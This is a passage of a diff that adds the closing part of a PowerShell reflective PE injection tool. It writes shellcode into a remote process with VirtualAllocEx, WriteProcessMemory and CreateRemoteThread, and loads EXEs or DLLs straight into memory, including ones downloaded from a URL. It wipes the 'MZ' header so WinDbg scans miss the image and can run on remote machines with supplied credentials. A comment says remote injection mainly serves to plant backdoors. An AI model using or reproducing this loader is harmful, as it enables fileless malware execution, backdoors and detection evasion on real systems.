+ $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
2591
+ }
2592
+ $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
2593
+ $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
2594
+ $SCPSMemOriginal = $SCPSMem
2595
+
2596
+ Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
2597
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
2598
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
2599
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2600
+ Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
2601
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
2602
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
2603
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2604
+ Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
2605
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
2606
+
2607
+ $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2608
+ if ($RSCAddr -eq [IntPtr]::Zero)
2609
+ {
2610
+ Throw "Unable to allocate memory in the remote process for shellcode"
2611
+ }
2612
+
2613
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
2614
+ if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
2615
+ {
2616
+ Throw "Unable to write shellcode to remote process memory."
2617
+ }
2618
+
2619
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
2620
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
2621
+ if ($Result -ne 0)
2622
+ {
2623
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
2624
+ }
2625
+
2626
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
2627
+ }
2628
+ }
2629
+ elseif ($PEInfo.FileType -ieq "EXE")
2630
+ {
2631
+ #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
2632
+ [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
2633
+ [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
2634
+ $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
2635
+
2636
+ #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
2637
+ # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
2638
+ [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2639
+ Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
2640
+
2641
+ $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
2642
+
2643
+ while($true)
2644
+ {
2645
+ [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
2646
+ if ($ThreadDone -eq 1)
2647
+ {
2648
+ Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
2649
+ Write-Verbose "EXE thread has completed."
2650
+ break
2651
+ }
2652
+ else
2653
+ {
2654
+ Start-Sleep -Seconds 1
2655
+ }
2656
+ }
2657
+ }
2658
+
2659
+ return @($PEInfo.PEHandle, $EffectivePEHandle)
2660
+ }
2661
+
2662
+
2663
+ Function Invoke-MemoryFreeLibrary
2664
+ {
2665
+ Param(
2666
+ [Parameter(Position=0, Mandatory=$true)]
2667
+ [IntPtr]
2668
+ $PEHandle
2669
+ )
2670
+
2671
+ #Get Win32 constants and functions
2672
+ $Win32Constants = Get-Win32Constants
2673
+ $Win32Functions = Get-Win32Functions
2674
+ $Win32Types = Get-Win32Types
2675
+
2676
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2677
+
2678
+ #Call FreeLibrary for all the imports of the DLL
2679
+ if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
2680
+ {
2681
+ [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
2682
+
2683
+ while ($true)
2684
+ {
2685
+ $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
2686
+
2687
+ #If the structure is null, it signals that this is the end of the array
2688
+ if ($ImportDescriptor.Characteristics -eq 0 `
2689
+ -and $ImportDescriptor.FirstThunk -eq 0 `
2690
+ -and $ImportDescriptor.ForwarderChain -eq 0 `
2691
+ -and $ImportDescriptor.Name -eq 0 `
2692
+ -and $ImportDescriptor.TimeDateStamp -eq 0)
2693
+ {
2694
+ Write-Verbose "Done unloading the libraries needed by the PE"
2695
+ break
2696
+ }
2697
+
2698
+ $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
2699
+ $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
2700
+
2701
+ if ($ImportDllHandle -eq $null)
2702
+ {
2703
+ Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
2704
+ }
2705
+
2706
+ $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
2707
+ if ($Success -eq $false)
2708
+ {
2709
+ Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
2710
+ }
2711
+
2712
+ $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
2713
+ }
2714
+ }
2715
+
2716
+ #Call DllMain with process detach
2717
+ Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
2718
+ $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2719
+ $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2720
+ $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2721
+
2722
+ $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
2723
+
2724
+
2725
+ $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2726
+ if ($Success -eq $false)
2727
+ {
2728
+ Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2729
+ }
2730
+ }
2731
+
2732
+
2733
+ Function Main
2734
+ {
2735
+ $Win32Functions = Get-Win32Functions
2736
+ $Win32Types = Get-Win32Types
2737
+ $Win32Constants = Get-Win32Constants
2738
+
2739
+ $RemoteProcHandle = [IntPtr]::Zero
2740
+
2741
+ #If a remote process to inject in to is specified, get a handle to it
2742
+ if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
2743
+ {
2744
+ Throw "Can't supply a ProcId and ProcName, choose one or the other"
2745
+ }
2746
+ elseif ($ProcName -ne $null -and $ProcName -ne "")
2747
+ {
2748
+ $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
2749
+ if ($Processes.Count -eq 0)
2750
+ {
2751
+ Throw "Can't find process $ProcName"
2752
+ }
2753
+ elseif ($Processes.Count -gt 1)
2754
+ {
2755
+ $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
2756
+ Write-Output $ProcInfo
2757
+ Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
2758
+ }
2759
+ else
2760
+ {
2761
+ $ProcId = $Processes[0].ID
2762
+ }
2763
+ }
2764
+
2765
+ #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
2766
+ #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
2767
+ # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
2768
+ # {
2769
+ # Write-Verbose "Getting SeDebugPrivilege"
2770
+ # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2771
+ # }
2772
+
2773
+ if (($ProcId -ne $null) -and ($ProcId -ne 0))
2774
+ {
2775
+ $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
2776
+ if ($RemoteProcHandle -eq [IntPtr]::Zero)
2777
+ {
2778
+ Throw "Couldn't obtain the handle for process ID: $ProcId"
2779
+ }
2780
+
2781
+ Write-Verbose "Got the handle for the remote process to inject in to"
2782
+ }
2783
+
2784
+
2785
+ #Load the PE reflectively
2786
+ Write-Verbose "Calling Invoke-MemoryLoadLibrary"
2787
+ $PEHandle = [IntPtr]::Zero
2788
+ if ($RemoteProcHandle -eq [IntPtr]::Zero)
2789
+ {
2790
+ $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
2791
+ }
2792
+ else
2793
+ {
2794
+ $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
2795
+ }
2796
+ if ($PELoadedInfo -eq [IntPtr]::Zero)
2797
+ {
2798
+ Throw "Unable to load PE, handle returned is NULL"
2799
+ }
2800
+
2801
+ $PEHandle = $PELoadedInfo[0]
2802
+ $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
2803
+
2804
+
2805
+ #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
2806
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2807
+ if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
2808
+ {
2809
+ #########################################
2810
+ ### YOUR CODE GOES HERE
2811
+ #########################################
2812
+ switch ($FuncReturnType)
2813
+ {
2814
+ 'WString' {
2815
+ Write-Verbose "Calling function with WString return type"
2816
+ [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
2817
+ if ($WStringFuncAddr -eq [IntPtr]::Zero)
2818
+ {
2819
+ Throw "Couldn't find function address."
2820
+ }
2821
+ $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
2822
+ $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
2823
+ [IntPtr]$OutputPtr = $WStringFunc.Invoke()
2824
+ $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
2825
+ Write-Output $Output
2826
+ }
2827
+
2828
+ 'String' {
2829
+ Write-Verbose "Calling function with String return type"
2830
+ [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
2831
+ if ($StringFuncAddr -eq [IntPtr]::Zero)
2832
+ {
2833
+ Throw "Couldn't find function address."
2834
+ }
2835
+ $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
2836
+ $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
2837
+ [IntPtr]$OutputPtr = $StringFunc.Invoke()
2838
+ $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
2839
+ Write-Output $Output
2840
+ }
2841
+
2842
+ 'Void' {
2843
+ Write-Verbose "Calling function with Void return type"
2844
+ [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2845
+ if ($VoidFuncAddr -eq [IntPtr]::Zero)
2846
+ {
2847
+ Throw "Couldn't find function address."
2848
+ }
2849
+ $VoidFuncDelegate = Get-DelegateType @() ([Void])
2850
+ $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
2851
+ $VoidFunc.Invoke() | Out-Null
2852
+ }
2853
+ }
2854
+ #########################################
2855
+ ### END OF YOUR CODE
2856
+ #########################################
2857
+ }
2858
+ #For remote DLL injection, call a void function which takes no parameters
2859
+ elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2860
+ {
2861
+ $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2862
+ if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
2863
+ {
2864
+ Throw "VoidFunc couldn't be found in the DLL"
2865
+ }
2866
+
2867
+ $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
2868
+ $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
2869
+
2870
+ #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
2871
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
2872
+ }
2873
+
2874
+ #Don't free a library if it is injected in a remote process or if it is an EXE.
2875
+ #Note that all DLL's loaded by the EXE will remain loaded in memory.
2876
+ if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
2877
+ {
2878
+ Invoke-MemoryFreeLibrary -PEHandle $PEHandle
2879
+ }
2880
+ else
2881
+ {
2882
+ #Delete the PE file from memory.
2883
+ $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2884
+ if ($Success -eq $false)
2885
+ {
2886
+ Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2887
+ }
2888
+ }
2889
+
2890
+ Write-Verbose "Done!"
2891
+ }
2892
+
2893
+ Main
2894
+ }
2895
+
2896
+ #Main function to either run the script locally or remotely
2897
+ Function Main
2898
+ {
2899
+ if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
2900
+ {
2901
+ $DebugPreference = "Continue"
2902
+ }
2903
+
2904
+ Write-Verbose "PowerShell ProcessID: $PID"
2905
+
2906
+ if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
2907
+ {
2908
+ Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
2909
+ [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
2910
+ }
2911
+ elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
2912
+ {
2913
+ $WebClient = New-Object System.Net.WebClient
2914
+
2915
+ [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
2916
+ }
2917
+
2918
+ #Verify the image is a valid PE file
2919
+ $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
2920
+
2921
+ if ($e_magic -ne 'MZ')
2922
+ {
2923
+ throw 'PE is not a valid PE file.'
2924
+ }
2925
+
2926
+ # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
2927
+ # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
2928
+ $PEBytes[0] = 0
2929
+ $PEBytes[1] = 0
2930
+
2931
+ #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
2932
+ if ($ExeArgs -ne $null -and $ExeArgs -ne '')
2933
+ {
2934
+ $ExeArgs = "ReflectiveExe $ExeArgs"
2935
+ }
2936
+ else
2937
+ {
2938
+ $ExeArgs = "ReflectiveExe"
2939
+ }
2940
+
2941
+ if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
2942
+ {
2943
+ Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2944
+ }
2945
+ else
2946
+ {
2947
+ Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName -Credential $Credential
2948
+ }
2949
+ }
2950
+
2951
+ Main
2952
+ }